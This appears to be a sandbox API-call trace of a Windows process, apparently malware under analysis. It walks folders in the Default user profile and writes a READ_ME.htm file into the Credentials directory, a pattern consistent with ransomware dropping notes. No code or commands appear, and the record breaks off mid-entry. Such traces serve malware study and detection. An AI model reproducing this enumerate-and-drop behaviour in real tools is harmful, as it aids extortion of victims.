[0142.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0142.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0142.581] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.581] SetErrorMode (uMode=0x0) returned 0x1 [0142.582] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0142.582] SetErrorMode (uMode=0x1) returned 0x0 [0142.582] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0142.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0142.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0142.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0142.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0142.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62c3c280, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0142.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c3c280, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1 [0142.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0142.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0142.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0142.583] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.583] SetErrorMode (uMode=0x0) returned 0x1 [0142.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x34 [0142.584] SetErrorMode (uMode=0x1) returned 0x0 [0142.584] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.585] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.585] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.585] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.585] SetErrorMode (uMode=0x0) returned 0x1 [0142.585] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x34 [0142.585] SetErrorMode (uMode=0x1) returned 0x0 [0142.585] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.586] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.586] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.586] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.586] SetErrorMode (uMode=0x0) returned 0x1 [0142.586] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\READ_ME.htm", lpFilePart=0x0) returned 0x40 [0142.586] SetErrorMode (uMode=0x1) returned 0x0 [0142.586] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.587] SetErrorMode (uMode=0x0) returned 0x1 [0142.587] GetFileType (hFile=0x1d0) returned 0x1 [0142.588] WriteFile (in: hFile=0x1d0, lpBuffer=0x294b988*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x294b988*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.589] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2e [0142.589] SetErrorMode (uMode=0x1) returned 0x0 [0142.589] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.707] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.707] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0142.707] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1 [0142.707] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0142.707] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0 [0142.707] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.709] SetErrorMode (uMode=0x0) returned 0x1 [0142.709] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2e [0142.709] SetErrorMode (uMode=0x1) returned 0x0 [0142.709] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.711] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.711] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0142.711] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1 [0142.711] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0142.711] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0 [0142.711] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.712] SetErrorMode (uMode=0x0) returned 0x1 [0142.714] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21cd90, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0142.717] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x3f [0142.717] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21cb80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0142.719] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x21cd80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0142.720] SetErrorMode (uMode=0x1) returned 0x0 [0142.720] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.773] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.774] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1 [0142.774] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1 [0142.774] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1 [0142.778] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, 